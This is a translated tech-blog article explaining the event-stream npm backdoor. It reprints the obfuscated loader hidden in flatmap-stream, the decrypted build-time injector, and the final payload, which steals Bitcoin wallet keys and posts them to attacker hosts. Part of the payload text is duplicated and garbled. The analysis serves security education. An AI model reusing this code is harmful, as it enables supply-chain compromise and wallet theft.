Geekly Articles each Day
📜 ⬆️ ⬇️

We explain backdoor in event-stream

If you are working with Javascript, then most likely you have noticed a lot of noise about the vulnerability in the npm event-stream package. ( On Habré also posted a post about it - per. ) Unfortunately, a detailed analysis of the situation is buried under more than 600 comments in an issue on Github , most of which are about the state of npm, open-source in general, etc. I thought it was bad, because for us, the backdoor is extremely smart and interesting from a technical point of view, and also teaches us an important lesson about how to maintain security in Javascript applications. So I decided to write a post with a detailed explanation of how this attack worked and what the Javascript community can do to better protect against such attacks in the future.


Before I begin, I want to thank FallingSnow , maths22 , and joepie91 for their excellent investigation. They did all the hard work of analyzing vulnerability and figuring out what it does. Hereinafter, I will quote their results with attribution, but I think that it is worth explicitly indicating that I did not do all this work myself. I only summarize what others have found out.


Prehistory


event-stream is a popular npm module that contains utilities for working with data streams within the node.js application. Now it is downloaded more than 1.9 million times daily. However, he has not been in active development for several years. Its author, Dominic Tarr , supports a large number of other projects and no longer uses this module in personal projects, so he was ignored.


Around the middle of September, a certain user with the nickname right9ctrl (the GitHub account is now deleted) offered to take over the support of the module. Dominic agreed and gave right9ctrl access rights to Github and npm. The history of commits looks harmless at first glance:



Screenshot of the history of commits in event-stream on Github


On September 9, right9ctrl added a new flatmap-stream module depending on it in order to implement the flatmap functionality for event-stream (a completely appropriate solution, since event-stream already had similar utilities, such as the usual map ). Then, on September 16, right9ctrl removed the flatmap-stream dependency and implemented the flatmap method directly. And again, nothing is disturbing, it is not unusual to add a new dependency, and then after a few days decide that it will be better to implement the same thing yourself.


Attack


The flatmap-stream library also looks harmless - in fact, it contains a flat map implementation for data streams (although something should be alerted - the library has only one contributor and no downloads from npm up to this point).



Screenshot of flatmap-stream page on GitHub


However, the version of this module, published in npm, contained additional code in the minified file, which you may well not notice, even knowing that it is there:


 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

The malicious part is here at the end, and it was specially obfuscated to avoid detection:


 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

In an issue on Github, FallingSnow restored the source code of the bookmark and showed what was happening there:


 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","db","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1])

So, the code loads the file ./test/data.js , which was also embedded in the published version in npm despite the lack of source code on GitHub. This file contains an array of strings encrypted with AES256. The npm_package_description environment npm_package_description is set by the npm command when the code is executed in the context of a package, that is, the root package, including the event-stream -> flatmap-stream dependency chain, will be used to set npm_package_description (and other similar variables). ( Note: in other words, the description from the package.json file of your project in which you executed this command will be used ). Thus, the code decrypts the contents of test/data.js using npm_package_description as the key, and then tries to execute the result.


For the vast majority of packets, this will lead to an error (which malicious code silently catches and ignores), since their description is not the right key for the AES256 cipher and the result of decryption will be nonsense. This is a very targeted attack on one particular packet. maths22 and some other users downloaded a list of npm-modules that depend on the event-stream, and looking through the descriptions of these modules, they picked up the correct key and found the target package: it was a copay-dash platform for bitcoin wallets. His description, "A Secure Bitcoin Wallet", successfully decrypts the contents of test/data.js , showing the following code (kindly provided by joepie91 ):


 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };

This code launches another level of decryption, which opens the final malicious script:


 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();

As you might have guessed, this script is trying to steal your bitcoin wallet and upload its data to the attacker's server.


Updated: the npm team released its official incident report , which explained that the malicious code was designed to run in the Copay release process in order to inject a script that steals bitcoin into the application code of the Copay wallet.


So let's summarize



What now?


It was a surprisingly clever attack, strongly reminiscent of the January post , with a description of a similar hypothetical attack. The attacker skillfully covered his tracks - the code and history of commits on Github show a harmless and unsuspecting situation (the new developer joins the project, adds a feature, and then slightly changes its implementation). In addition to suspicious signs in flatmap-stream (new package, there are no contributors and download statistics), the attack turned out to be almost imperceptible. Indeed, it was not detected for 2 months and was found only now, because the attacker made a small error using the outdated method crypto.createDecipher instead of crypto.createDecipheriv , which caused a suspicious message about using the outdated method in another library, which uses event-stream.


Unfortunately, this type of attack will not leave us in the near future. JavaScript is the most popular language at the moment, which means it will remain an attractive target for hackers. JavaScript also has relatively little functionality in the standard library compared to other languages, which forces developers to use packages from npm — along with other cultural factors, this leads to the fact that JavaScript projects usually have a huge dependency tree.


It is worth noting that although JavaScript applications are more susceptible to this class of vulnerabilities, this is not necessarily the reason that JavaScript is less secure in general. JavaScript is usually used by more active developers who are trying to be on the wave of progress, that is, their users install more packages and updates, including security fixes. At the same time, Equifax's Java application was hacked for the exact opposite reason — they did not install security updates for Apache Struts for months. This type of vulnerability is less likely in JavaScript applications. In the end, when choosing a technology stack for a company, there is always a security issue. An important lesson will be understanding possible attack scenarios for your particular solution and the ability to foresee them.


What does this mean for the JavaScript stack? There is no shortage of ideas and suggestions how npm or other communities could prevent such attacks. But for end users, there are at least two basic steps to reduce their risks:



')

Source: https://habr.com/ru/post/431360/

More articles:


All Articles